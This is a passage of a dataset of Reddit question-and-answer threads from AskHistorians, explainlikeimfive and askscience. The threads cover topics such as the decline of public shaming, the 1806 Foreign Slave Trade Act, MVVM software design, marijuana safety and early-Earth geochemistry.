[[], ["https://www.quizover.com/ocw/mirror/col11124_1.25_complete/m34973/graphics3.jpg", "http://pubs.rsc.org/-/content/articlehtml/2015/sc/c5sc02076j"]]}
{"q_id": "31w9yd", "title": "What happened to public shaming? Why does the western world no longer use stocks and pillories as punishment.", "selftext": "I was reading a bit about punishment in the 1800s and learned about public shaming.  \n\nJust wondering what motivated the movement from public shaming to strictly being jailed.\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/31w9yd/what_happened_to_public_shaming_why_does_the/", "answers": {"a_id": ["cq5k79k", "cq5z31l", "cq6ha1v"], "score": [19, 5, 8], "text": ["Jon Ronson recently published a really good book on the subject of public shaming called 'So You've Been Publicy Shamed' where he talks about modern shaming but also the history of it. He says that basically people decided it was too harsh, and that it would turn petty offenders into actual criminals by making them resent society or by dehumanising them. Interestingly public shaming was still a viable punishment in Delaware until the mid 1900s.", "During the 18th and 19th centuries, corporal punishment and other shame-based punishments came under increasing fire (in the United States, at least) for their perceived incompatibility with democratic principles. The American Revolution spurred criticism, for example, that these punishments reinforced social hierarchies antithetical to a democracy of free and equal citizens. English law, for example, reserved flogging for commoners\u2014proper gentlemen were spared such punishments. Inflicting pain \"was the way that sovereigns disciplined their subjects, husbands their waves, parents their children, and masters their servants or slaves.\"\n\nThese perceptions were strengthened during and following the Civil War, especially as an anti-slavery perspective of the conflict began to coalesce. In the public's eye, corporal punishment became inextricably entangled with the institution of slavery\u2014thereby recalling a hierarchy deeply incompatible with the Reconstruction Constitution. As Robert G. Ingersoll, the attorney general of Illinois during Reconstruction, stated:\n >  [T]he fact is that we, citizens of the Republic, feel that certain domestic brutalities are the children of monarchies and despotisms; that they were produced by superstition, ignorance, and savagery; and that they are not in accord with the free and superb spirit that founded and preserves the Great Republic.\n\nAt the same time, the public came to view incarceration as a better way to condemn offenders within the framework of individual liberty. Depriving citizens of their liberty was \"naturally suited to an egalitarian social order; imprisonment expressed what citizens of a republic shared\u2014their liberty\u2014rather than what set the punisher and the punished apart.\"\n\nSources:\n\n* Dan M. Kahan, *What Do Alternative Sanctions Mean?*, 63 U. Chi. L. Rev. 591 (1996)\n* Ryan J. Huschka, *Sorry for the Jackass Sentence: A Critical Analysis of the Constitutionality of Contemporary Shaming Punishments*, 54 U. Kan. L. Rev. 803 (2006)", "This is a great question, but one that's tremendously difficult to succinctly answer, as it's subsumed under a whole panoply of scholarship in criminological history. (I\u2019m sorry in advance for the confused structure of this post, but I typed a full response before the page accidentally refreshed, so I've had to rewrite this again.)\n\nAs a brief bibliographical aside, see Pieter Spierenburg's now-classic *The Spectacle of Suffering* for an overview on spectacular punishment. Although a little dated, it holds its place firm as a go-to in this historical field of public punishment in early modern to modern Europe, and deals with the decline in capital and other visual corporeal punishments, drawing on Foucault's seminal *Discipline and Punish* -- which charted the 18th- to 19th-century transition from the physical infliction of pain upon the criminal's body to judicial reforms increasingly preoccupied with rehabilitation via incarceration -- and Elias' state-centred *Civilizing Process*, with a few revisions. (His introduction has a good summary and criticisms on these two 'giants' of the topic.) On the pillory itself, there are too many to list, and it depends what your geographical interests are: John Beattie\u2019s *Crime and the Courts in England* (1985) is frequently quoted for his descriptions of the pillory as the \u2018paradigm\u2019 of the era\u2019s penal practice. A lot of other publications are journal articles behind paywalls, but if you do have access, see as just two examples McGowen, \u2018From Pillory to Gallows: The Punishment of Forgery\u2019 (1999) or Greene, \u2018Public Secrets: Sodomy and the Pillory in the 18th Century\u2019 (2003). (Those are completely arbitrary suggestions, by the way; there are many others, needless to say.)\n\nTo return to public penalties in general, there have been many possible answers proposed by historians and criminologists alike as to the causes of this growing antipathy to spectacular punishment. Squeamishness is one; others include the mounting control of the state, legal reformers' awareness of deterrence's failings, growing concerns for bodily integrity, and so forth. Some of these are problematic in their own respects. Shifts in elite sensibilities were not always concomitant with those of the lower classes when measured against continued popular attendance at executions during the 18th century, for instance. Others, like Foucault's narrative, have been found wanting; while discourses of pain and the body are important, for one, their dominance as causal factors might be reduced in favour of the sensibilities argument, since, as many have pointed out, *hiding* punishment did not necessitate its abolition. The death penalty is a notorious example of that, and I don't just mean in terms of the USA. (France's last guillotining was in 1977, for example.)\n\nIt becomes clear, then, that shame sanctions come under many similar if not always identical elements. But cultural aspects are also crucial: Ruth Benedict's shame cultures like Confucian-enshrouded China, as one example, or else Japan, might see these punishments extended simply because they hold more weight there than elsewhere -- although I hasten to add that I am not an expert on those societies, and they likely have substantially diverged in the cultural understandings of penalties, vis-\u00e0-vis European societies, over the past few centuries. And I've already mentioned how the focus on physically punishing the body, as opposed to other aspects of the penal system, has significantly altered over the years. In other words, the pillory was an interactive penalty: it allowed and indeed encouraged crowd participation more than most spectacular punishments. Yet it has to be read as part of a larger overarching narrative of punitive reform, whether interpreted through Foucault or otherwise, a process in which forms of punishment mutated as much as juridical aims did.\n\nLest we think the punitive value of shaming rituals has decreased, finally, it would be wise to remind of how much they've survived. As copious publications in law and criminological reviews point out, they persist today: see James Whitman on shame sanctions, notably (a free access version is available at _URL_1_), while media-shaming in the digital age is rampant, too, as others haven\u2019t hesitated to note (_URL_2_). To that end, you might also be interested in more philosophical accounts of shame, e.g. Velleman\u2019s \u2018Genesis of Shame\u2019 in *Philosophy  &  Public Affairs*, 2001 (public access at _URL_0_). \n\nThis is all rather disorganised, for which I apologise again, but hopefully it gives you a good idea of the general shift (to recap, around the mid 18th-beginning of the 19th centuries) in at least elite attitudes towards public punishment, as explained in various ways by different theorists; that shame is still very prevalent today as a method of punishment, and that its presentation has simply moved away from the corporeally-centred artefacts of the pillory and gallows of the past. Not that physicality is ever absent from our modern world: the Nazis frequently employed humiliation both in public and in concentration camps, including parading Jews through the streets with abusive signs hung from the necks, continuing a tradition prevalent almost everywhere in the world. And you don\u2019t even have to look into such a radical example of 20th-century persecution to find instances of public shaming -- last year alone, in fact, Ukrainian soldiers were publically shamed by pro-Russian rebels in Donetsk via processions in front of mocking crowds (_URL_3_). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://deepblue.lib.umich.edu/bitstream/handle/2027.42/72979/j.1088-4963.2001.00027.x.pdf?sequence", "http://digitalcommons.law.yale.edu/cgi/viewcontent.cgi?article=1651&amp;context=fss_papers", "http://theconversation.com/media-as-pillory-the-power-to-name-and-shame-in-digital-times-15914", "http://www.aljazeera.com/news/europe/2014/08/ukraine-rebels-parade-captured-soldiers-2014824192242339167.html"]]}
{"q_id": "2vneck", "title": "Please can you explain how the law William Wilberforce and his lawyer friend managed to get through which had the side effect of reducing the slave trade by 80% actually worked.", "selftext": "Just watched Amazing Grace and got swept away in the emotion.  However, I tried to research what that law/act/bill thing was.   They prevented the nasty French sailing under the USA flag of neutrality that would prevent pirates attacking them (why did a flag stop pirates?)...but, how does this stop 80% of Brit slave ships sailing?  \n\nI also want to know what historical inaccuracies were in the movie but I think I can google that.  If you know any decent links, that would be great.  \n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2vneck/please_can_you_explain_how_the_law_william/", "answers": {"a_id": ["cojc5bc"], "score": [27], "text": ["The Foreign Slave Trade Act of 1806 banned British subjects from trading slaves to, or on behalf of, foreign nations. This had the effect of reducing the British slave trade by so much because so much of the trade was with foreign nations and their colonies. \n\nPrior to this law, British slave traders could fly the US flag and trade with French colonies in the Caribbean (as well as the USA, South America, etc) despite Britain and France being at war. Passage of the law was seen as war measure (stop giving labor/aid to the French) rather than an abolition measure, which boosted support and aided in the Act being passed. \n\nOf course, once the law passed, British subjects could trade only with British colonies in the West Indies, which was a much smaller part of the market. Once the trade in slaves was dimished by so much, resistance to abolition of the trade as a whole rapidly decreased and the total abolition of the slave trade was passed less than a year later, in February 1807."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "eqgf6o", "title": "mvvm concept in software design - model view view model?", "selftext": "I literally studied computer science and don't understand this. I'm so frustrated.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eqgf6o/eli5_mvvm_concept_in_software_design_model_view/", "answers": {"a_id": ["fers39j", "fetpuzz", "fetwii0"], "score": [5, 2, 2], "text": ["You have an object which contains all your data (Model) . And a view which displays all your data.\nWith normal mvc (model View controller) your object with data does not know when a value is changed in your view (E.g. You select your age, the object does not know you set.\nWith mvvm the model listens to the view, and the view listens to the model. That way if you update age in the view, the model will be updates with your selected age, and vice versa.", "Are you asking this purely out of curiosity or because of a job?  \n\nMVVM isn't extremely popular in my experiences any longer, but older applications will use this design.  It is very good for 'Single Page Applications'.  Here's my explanation in comparison to MVC which I have alot of experience with.  Hope it helps.\n\nIf you are familiar with the basics you know the model houses all of the fields/properties and typically a few type specific methods like maybe a ToString override.  The view is merely the presentation, what the user will see.  Here is where MVC and MVVM differ.  .\n\nIn MVVM there is no controller.  Most, if not all, properties on a model are bound to an object on the view.  Example would be a text field called name.  If the user types \"Mike\" on the view the model will get that information immediately.  In MVVM the model will also be responsible for all event driven actions.  If a user clicks Save for instance, the model will house atleast the entry point for this action.  It essentially removes the need for a controller by inserting direct communication between the view and model and adding responsibility to the model.\n\nMVC which I much prefer has a controller which house all of the 'actions'. In essence a controller is constantly 'listening' for the user to do something.  In this design there is no communication between the model and view.  Model only houses the data.  View only displays the data.  The controller lies inbetween and does all of the work.  For instance in this example if a user types the name \"Mike\" into the same textbox the model will have no knowledge of this until the controller is informed via an action on the view.  A simple example is the user types into a text field on the view.  A Save button is pressed which then passes the value in the text field to the controller.  The controller will do something with that information, possibly update the model, and pass the new model to the view.\n\nI know I didn't explain this like you were 5 lol, but it's not something a 5year old could understand.  I know you didn't ask this, but in my opinion MVC is the clear winner for all the applications I've worked on, however I have worked exclusively with Web Apps.", "View: Account screen with user name, user photo, and list of user\u2019s posts\n\nModel: Users table, media library table, forum posts table\n\nView Model: Gets data from the Models, combines it into useful info for the View. Maybe sets the default profile image if user doesn\u2019t have one, or passes \u201cNot Set\u201d if the email hasn\u2019t been provided. \n\nAlso think of it as...\n\nView: dumb, what the user sees and touches\n\nModel: dumb, the data\n\nView Model: smart, business logic that passes, sanitizes, etc data between the two dummies above"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "hei61", "title": "Can you join two laser beams to give one straight beam?", "selftext": "I tried this before bu none answered :-( so try try again :-)\n\nIn other words, can you create a more powerful laser-beam by joining a bunch of weak beams? (not just pointing them all to the same spot, but creating an actual beam). \n\nHow would it be done? and if not possible then why not (is there a theoretical reason why not)? I'm thinking beam.splitters but you loose half(?) the power in those so the resulting beam won't be more powerful.\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hei61/can_you_join_two_laser_beams_to_give_one_straight/", "answers": {"a_id": ["c1usa9y", "c1ut6y1", "c1utphp"], "score": [4, 3, 3], "text": ["Yes.\n\nYou use a dichroic mirror like this one\n_URL_0_\n\n", "It is done with optical fibers. Many fibers carrying infrared laser beams are fused into a fiber carrying higher power.", "Photons typically don't interact with each other, so about all you can do is direct more of them towards the same point.\n\nIt _is_ possible to collimate different beams together if they are produced by different sources... I think the NIF does this. \n\n_URL_0_\n\nAfter the combination of separate beams, they may or may not be coherent, depending on how you produce and combine the parent beams.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.thorlabs.us/newgrouppage9.cfm?objectgroup_id=3313"], [], ["https://lasers.llnl.gov/"]]}
{"q_id": "ndw5c", "title": "From a science perspective, how dangerous is marijuana ", "selftext": "People have pretty conflicting viewpoints on whether marijuana is safe or not.  From a science perspective, does either side have the upper hand?  \nSpecifically:\n*  Is there an age where it is more safe than others?\n*  Are there statistically significant cases to prove that it is helpful for certain ailments?\n* What dangers are present that aren't there anytime that burning plant matter is consumed?\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ndw5c/from_a_science_perspective_how_dangerous_is/", "answers": {"a_id": ["c38bcay", "c38bmuj", "c38bcay", "c38bmuj"], "score": [5, 2, 5, 2], "text": ["Similar questions have been asked and answered before. \nPlease do a search on whatever topic you wish to ask beforehand\n\n[Here is a list of relevant threads.](_URL_0_)", "I don't have enough time to look for sources and cite things, but this is what I have seen so far around ask science (this question gets asked a lot). In the interest of full disclosure, I do smoke and I browse r/trees, but I'm also fairly dedicated to good science, so I do my best to keep bias out of it.\n\n- There isn't really a good scientific consensus that says marijuana is exactly this amount bad for you. Much of the research done, and the results of that research are politicized.\n\n- A correlation has been found between teenage marijuana use and development of schizophrenia. The current theory is that marijuana use can cause schizophrenia to appear in people predisposed to it.\n\n- No correlation has been found between marijuana use and lung cancer, in several studies. This doesn't make any sense, because logically one would imagine inhaling smoke would give you lung cancer. So far, however, the data we have says it doesn't. I believe you are still at risk of things like COPD, however.\n\n- Activation of CB1/CB2 receptors has been shown to induce apoptosis (programmed cell death) in brain tumor cells. This does not mean weed cures cancer, it means in a laboratory setting, activation of these receptors using potent synthetic cannabinoids induced apoptosis in cultured cells.\n\n- There is significant evidence that marijuana reduces pain and nausea, and increases appetite. This means it definitely could be useful in treating the symptoms caused by chemotherapy. Once again, its not being used to cure cancer - only to relieve the pain and nausea caused by chemotherapy.\n\n- As for treating other diseases such as crohn's and glaucoma - I'm not really sure. I have neither, so I never looked into it. If people say it helps them, I figure its worth doing some research into, if said research isn't already being done.\n\n- Several studies I have seen show that marijuana use has some effects on various hormones. It seems to be debated to what extent they are affected, and if it could cause negative side effects. It also appears that the changes reverse when you stop smoking, although if you smoke all the time this doesn't do you much good. Oddly enough, although this is the area I would be most worried about in terms of possible harm caused by marijuana, this is the least discussed phenomenon by both government and pro-marijuana folks alike, in my experience.\n\n- It is clearly shown that while you are high, and for a period afterwards, your short term memory is impaired. Although it is debated, this seems to be reversed with abstinence as well. Once again, however, if you smoke all the time this will be a negative side effect you experience.\n\nIt's generally known that the marijuana causes brain cell death study done a long time ago was improperly done, and calling it that is generous. I have also never seen any scientific evidence supporting gateway drug theory. The near-impossibility of an overdose is also commonly talked about.\n\nUltimately though, there is not a good scientific consensus on the safety of marijuana use. \n", "Similar questions have been asked and answered before. \nPlease do a search on whatever topic you wish to ask beforehand\n\n[Here is a list of relevant threads.](_URL_0_)", "I don't have enough time to look for sources and cite things, but this is what I have seen so far around ask science (this question gets asked a lot). In the interest of full disclosure, I do smoke and I browse r/trees, but I'm also fairly dedicated to good science, so I do my best to keep bias out of it.\n\n- There isn't really a good scientific consensus that says marijuana is exactly this amount bad for you. Much of the research done, and the results of that research are politicized.\n\n- A correlation has been found between teenage marijuana use and development of schizophrenia. The current theory is that marijuana use can cause schizophrenia to appear in people predisposed to it.\n\n- No correlation has been found between marijuana use and lung cancer, in several studies. This doesn't make any sense, because logically one would imagine inhaling smoke would give you lung cancer. So far, however, the data we have says it doesn't. I believe you are still at risk of things like COPD, however.\n\n- Activation of CB1/CB2 receptors has been shown to induce apoptosis (programmed cell death) in brain tumor cells. This does not mean weed cures cancer, it means in a laboratory setting, activation of these receptors using potent synthetic cannabinoids induced apoptosis in cultured cells.\n\n- There is significant evidence that marijuana reduces pain and nausea, and increases appetite. This means it definitely could be useful in treating the symptoms caused by chemotherapy. Once again, its not being used to cure cancer - only to relieve the pain and nausea caused by chemotherapy.\n\n- As for treating other diseases such as crohn's and glaucoma - I'm not really sure. I have neither, so I never looked into it. If people say it helps them, I figure its worth doing some research into, if said research isn't already being done.\n\n- Several studies I have seen show that marijuana use has some effects on various hormones. It seems to be debated to what extent they are affected, and if it could cause negative side effects. It also appears that the changes reverse when you stop smoking, although if you smoke all the time this doesn't do you much good. Oddly enough, although this is the area I would be most worried about in terms of possible harm caused by marijuana, this is the least discussed phenomenon by both government and pro-marijuana folks alike, in my experience.\n\n- It is clearly shown that while you are high, and for a period afterwards, your short term memory is impaired. Although it is debated, this seems to be reversed with abstinence as well. Once again, however, if you smoke all the time this will be a negative side effect you experience.\n\nIt's generally known that the marijuana causes brain cell death study done a long time ago was improperly done, and calling it that is generous. I have also never seen any scientific evidence supporting gateway drug theory. The near-impossibility of an overdose is also commonly talked about.\n\nUltimately though, there is not a good scientific consensus on the safety of marijuana use. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/askscience/search?q=Marijuana&amp;sort=top&amp;restrict_sr=on"], [], ["http://www.reddit.com/r/askscience/search?q=Marijuana&amp;sort=top&amp;restrict_sr=on"], []]}
{"q_id": "4vjzqp", "title": "How was Frederick I in 1701 able to proclaim Prussia to be a kingdom? Was there a legal process for that sort of thing and what did the other European rulers think of this ordeal?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4vjzqp/how_was_frederick_i_in_1701_able_to_proclaim/", "answers": {"a_id": ["d5zaibm"], "score": [5], "text": ["He had the support of the Holy Roman Emperor in exchange for his support in the War of the Spanish Succession, which meant he had a powerful ally to back his claim. Yet not all would acknowledge it right away, and because the Duchy of Prussia was not as being as the large Prussian Region, Frederick I and Frederick William I styled themselves as Kings in Prussia, rather than Kings of Prussia. (In effect proclaiming the Duchy of Prussia to be a kingdom, but avoiding naming it the Kingdom of Prussia.)\n\nFormally, in one of the Treaties of Utrecht (the collection of which ended the War of the Spanish Succession), France acknowledged Frederick I as King in Prussia, and from there on it was essentially an established fact that he was King in Prussia.\n\nThis matches the general principle of the matter. Being treated as a king by foreign sovereigns was a matter of acknowledgment and tradition. For example, while the Russians intended for their Tsar to be considered equal to an Emperor in tank, and Peter I of Russia issued an edict to that effect, many other European powers refused to acknowledge the title as being more than the equivalent of a King, and over time this stuck, and the Russians Tsars started to incorporate titles like Tsar of Poland into their full style, thus effectively acknowledging the title Tsar to be equivalent to a king, or at least potentially so."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "11xduw", "title": "why do people buy into anecdotal evidence rather than statistics?", "selftext": "Watching the recent debates has brought up an issue that I have had for quite a while with politicians.  Both Obama and Romney will frequently offer anecdotes to support their policies (e.g. I met with a woman who lost a parent in 9/11 and was relieved at the death of bin Laden, I met a college graduate in Philadelphia who was upset that she couldn't find work).  Of course, these statements shouldn't carry as much weight as a nation-wide study/poll would, but I assume they work because politicians continue to use them, while rarely citing specific statistics.  So why is it that people respond to anecdotes and fail to respond to hard evidence?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/11xduw/eli5_why_do_people_buy_into_anecdotal_evidence/", "answers": {"a_id": ["c6qdbsf", "c6qdh4s", "c6qeo4k", "c6qf3vn", "c6qgux2"], "score": [19, 11, 3, 10, 2], "text": ["Human culture is based around story telling.", "It is easier to relate to stories and anecdote than numbers without meaning. Your roommates friend may be a heartwarming tale. The number of people rendered destitute in the last year is not, and. An be skewed by any number of possibilities. ", "Another problem is statistics are often counter-intuitive.  We tend to trust things we can see far more than things we have to take on faith.  Public Policy Polling retweets a lot of moonbat responses they get when they release their polls.  There are a great number of...\n\n > \"BULLSHIT!  I live on Colorado/North Carolina and I see 10 TIMES as many Romney/Obama signs as [opposite].\"\n\nWhat the polling is saying differs wildly from what they're seeing IRL.  In that context, it would make sense to distrust it.  Throw in our uncanny ability to rationalize things after the fact, and you've got a cocktail of delusion.", "Anecdote has emotion. \n\nStatistics has logic. \n\nHumans are emotional creatures. ", "The reason politicians prefer anecdotes to statistics is because they want to portray that *you* are not a statistic to them, but a real person."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "dwzs2o", "title": "what is the science behind the cambodian men fishing with mento, soda, toothpaste and eggs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dwzs2o/eli5_what_is_the_science_behind_the_cambodian_men/", "answers": {"a_id": ["f7mk2al", "f7mnux2", "f7mqpve", "f7my99y", "fe92a1e"], "score": [130, 10, 40, 7, 8], "text": ["The egg attracts the fish to the general area. Then the combination of mento and soda releases a lot of carbon dioxide, effectively suffocating the fish, causing it to swim up in hopes of getting more oxygen. Then you catch it.", "Can you link a good video with this OP?", "Why are there multiple fish living in a hole that appears to be in the middle of somebody's front yard? Is this some odd sort of tunneling fish?", "Damn i thought only indonesian use weird tactics for fishing, like coating a piece of meat with shredded soap as bait, using the liver of a snail, and frozen egg yolk mixed with red bull and tons of other weird stuff. Hearing my friend's story about his local fishing tournament is like hearing some wizarding black magic cult gathering or something.\n\nSome people allegedly even used actual black magic/charm/magic potion on their bait to attract fish\n\nIt got to a point where some of these tactics is banned because it gave someone \"an unfair advantage\"", "[_URL_1_](_URL_0_)\n\n\"The video is already planned and scripted. We are sorry if some of our video make you unhappy!\n\nActor: The actor is 24 years old. He is old enough and was trained well.\n\nToothpaste and eggs can't react or make the fishes come out, all fished come out by pushing behind the video at the left side. \"\n\n'Nuff said."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.youtube.com/watch?v=e_6sDSf_6n0", "https://www.youtube.com/watch?v=e\\_6sDSf\\_6n0"]]}
{"q_id": "4jlnf2", "title": "Why the term \"Gallo-Roman\" for inhabitants of Roman Gaul, but \"Romano-British\" for inhabitants of Roman Britain?", "selftext": "Why is the \"Roman\" part at the beginning of \"Romano-British\" but at the end of \"Gallo-Roman\"? Why not \"Romano-Gaul\" or \"Britano-Roman\"?\n\nIs it because the Roman Empire controlled Gaul for longer than they controlled Britain, so the British were not as Romanized?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4jlnf2/why_the_term_galloroman_for_inhabitants_of_roman/", "answers": {"a_id": ["d37vutf"], "score": [9], "text": ["I believe it to be as simple as the difference between French and English grammar.\n\nIn French, adjectives typically follow nouns, and the French term for 'Roman Gaul' is *Gaule romaine*. Hence, Anglicized and turned into an adjective, Gallo-Roman.\n\nIn English, adjectives typically come first, hence 'Roman Britain' = Roman Britain, or Romano-British.\n\nThe difference is not referring to degrees of Romanness, it's just a peculiarity of language."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9sxstg", "title": "how did we get more precise rulers only having primitive rulers in the first place?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9sxstg/eli5_how_did_we_get_more_precise_rulers_only/", "answers": {"a_id": ["e8s8r9m", "e8sbqbj"], "score": [8, 5], "text": ["If you use a [pantograph] (_URL_0_) or some other form of leverage, you can control something with greater precision than you can deliver to the control arm.", "So basically we tried a bunch of different ways of defining what the \"right\" amounts were, until we all agreed on some good rulers. Then we spread those good rulers everywhere so you could compare your own rulers with them. [Check out this video](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Pantograph"], ["https://www.youtube.com/watch?v=gNRnrn5DE58"]]}
{"q_id": "oj37k", "title": "What is mental effort exactly?", "selftext": "It seems as though we use up some kind of exhaustible resource when doing mental work, but what is really going on behind the scenes.\n\nPanellist / Researched / Properly backed up answers only please.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/oj37k/what_is_mental_effort_exactly/", "answers": {"a_id": ["c3hq9tz"], "score": [10], "text": ["This was one of my areas of interest before I shifted fields. First of all, not everyone agrees on the metaphor that should be used to describe the material. Is it more like a muscle or like a resource? Schmeichel (2007) talks about it in one of his papers. Same guy also did some work on glucose playing a role in what you call mental effort.\n\nMy inclination, having acquainted myself with the literature in the area, has always been that **attention** is the factor that gets drained. It is, after all, one of the major aspects of conscious control: attention and intention. The [recent literature] (_URL_0_) seem to back up my initial inclinations.\n\n(Having left the cog world back in 2009, I am pleasantly surprised to see people taking a greater interest in cognitive fatigue as evidenced by this [book] (_URL_1_). Indeed, there really is something special going on under the hood w\\r\\t cognitive fatigue and it's great that people are acknowledging it.)\n\nIf you're looking for the physical substance that gets \"drained\" in mental effort, I don't know what to tell you. Maybe other redditors may be more helpful (I am also quite curious myself.)\n\nThere are quite a few anomalies with regard to mental fatigue. For instance, drained mental effort can apparently be restored by simply looking at computer wallpapers with pictures of nature (though I have long, long since forgotten the citation for this) more quickly than controls. \n\nI think future research on mental effort will touch very closely on the relationship between the default-mode network (DMN) and the task-positive network (TPN) of the brain. TPN is active when you perform tasks (hence task-positive) and when you pay attention to external stimuli. DMN is active when you are not focused on tasks (i.e. like when daydreaming, thinking, etc.). You might think of the DMN as being more focused on the self. These two networks are anti-correlated, meaning that these two networks tend to operate in opposition.\n\nI would not be altogether surprised if it turns out that mental effort is simply the force you use to keep the TPN active when the DMN is in opposition. There are numerous ways to test this hypothesis, and there are an abundance of implications for this sort of research (not least of which for the nature of procrastination).\n\nWhile this may not directly answer your question, I hope it helps you put your ideas on mental effort in context."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/21128132", "http://www.apa.org/pubs/books/4318083.aspx"]]}
{"q_id": "1xheh8", "title": "Can you explain the Briggs Rauscher experiment in a way that is understandable to people without a science background?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xheh8/can_you_explain_the_briggs_rauscher_experiment_in/", "answers": {"a_id": ["cfbgdk8"], "score": [2], "text": ["Hi! This is a good question for our sister subreddit /r/AskScienceDiscussion. All our panelists have flair over there, too.\n\nAlso, if you haven't seen it, I'd recommend checking out /r/ScienceTeachers. They may have helpful advice as well, since they're more specialized in breaking down complex subjects."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1j1arc", "title": "AskScience AMA series: Geochemistry and Early Earth", "selftext": "Today I am here to (attempt to) answer any questions you may have about early Earth, lunar history (particularly the late heavy bombardment), 9 million volt accelerators or mass spectrometers that can make precision measurements on something smaller than the width of a human hair.\n\nI am a PhD student in Geochemistry and I mostly work on early Earth (older than 4 billion year old zircons), lunar samples, and developing mass spectrometers. I have experience working in an accelerator mass spectrometry lab (with a 9 million volt accelerator). I also spend a lot of my time dealing with various radiometric dating techniques.\n\nSo come ask me anything!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1j1arc/askscience_ama_series_geochemistry_and_early_earth/", "answers": {"a_id": ["cba3sed", "cba5a6v", "cba5kg4", "cba5yte", "cba6qtd", "cba81gf", "cba88f4", "cba8i1q", "cba9zh9"], "score": [3, 2, 2, 4, 2, 2, 3, 2, 2], "text": ["When Earth's history is divided into various geological ages, what are the error bars like on those ages? Somewhat related, how sharp were the transitions between the ages? Did it go from A to B overnight, in a year, in a million years?", "how well understood is the cause of magnetic reversals?", "I know this may not be directly related to your field, but I've been doing some reading on the atmospheric composition of the earth throughout history. I'm really interested in greenhouse gasses. \n\nFirst of all, why is there a delay between when oxygen producing bacteria appear and when oxygen appears in the atmosphere? Would this have caused a mass extinction of sorts of the anaerobic life?\n\nI know just after late heavy bombardment there were still a lot of greenhouse gasses in the atmosphere, including a lot of methane, how were these removed?\n\nAnd lastly.... this may be a bit out of your field, but [this graph](_URL_0_) shows that greenhouses gasses were at 7000ppm only about 400 million years ago as opposed to 400ppm today.... what would the climate have been like with such extremes and is there any danger in a runaway greenhouse effect on earth?", "Why has the origin of the Moon been so difficult to figure out?\n\n", "Any thoughts on geothermal energy? It seems to me that of all the alternative energies, geothermal is ridiculously neglected given its total energy potential. And it's (literally) everywhere under our feet! All you need is to drill a deep hole and drop in a Sterling engine. How hard can it be?", "Is my understanding correct that Earth started with just ocean and the continents were formed later? If yes, could you please give some insight into the process of how they arose? It's always been a fascinating question for me and I don't think I fully understand it from my readings. \n\nThanks in advance! ", "Is it true that when the Moon was very close the Earth, the tides were much much more stronger and higher? Do you know how high they went? How deep inland did they go?", "Hi there and thanks for doing this ama... i think it's awesome!  \n\nHow soon after the earth was formed did life seem to appear? I remember reading that the figure had been revised down recently...?  \n\nAlso do you have any interest in chemistry of other planets? Excited about the possibility of learning about the atmospheric chemistry of extra-solar planets? Sorry if this is a bit outside your area, I'm a bit of an astronomy geek!", "So I've always wondered how we calibrate radiometric dating methods for isotopes that have enormous decay times (e.g., half lives in the billions of years range). Could you help me understand how we do this and what its accuracy is like?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://upload.wikimedia.org/wikipedia/commons/7/76/Phanerozoic_Carbon_Dioxide.png"], [], [], [], [], [], []]}
{"q_id": "1hn6nx", "title": "How is George III viewed over in the UK as of today? I know how George Washington is viewed in the US.", "selftext": "Is he just the guy who lost America? I'd like a British point of view. Thanks. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1hn6nx/how_is_george_iii_viewed_over_in_the_uk_as_of/", "answers": {"a_id": ["cavymqf", "caw01pu", "caw1epc"], "score": [22, 7, 4], "text": ["He isn't thought of as \"the guy who lost America\" at all. Many people over here probably wouldn't know which monarch was on the throne at the time of the American Revolution. George III is mainly remembered as \"Mad King George\" - his insanity is his greatest legacy.", "Known fondly as Mad King George - thanks in large part to this wonderful film, a sympathetic portrayal of mental illness.  \n\n _URL_0_ \n\nMost people would associate the regency Court with Blackadder III. \n\nThere isn't any bitterness toward him because he's viewed as having been suffering from an illness that prevented him carrying out his duties and so any blame for mismanagement goes to his advisors and parliament and his regent. \n\nYou have to remember that as an heredity Monarch George did not chose his responsibilities and so he generates more sympathy than a person who'd stood for election and made unfulfilled promises would have. \n\n", "Aside from the madness, George III had a very long reign of over 59 years, third longest after Victoria and Elizabeth II, and his reign was really dominated by continuous struggle between France and Britain for the position of global top dog, ie. 7 years war and the Napoleonic Wars, which the Brits came out victorious both times. The impact of Napoleonic wars was huge for Britain as the wars were much longer, involved more men. Truly epic scale stuff until WWI. So for these reasons and the fact that Britain won, George III was at times quite popular at home. "]}, "title_urls": [], "selftext_urls": [], 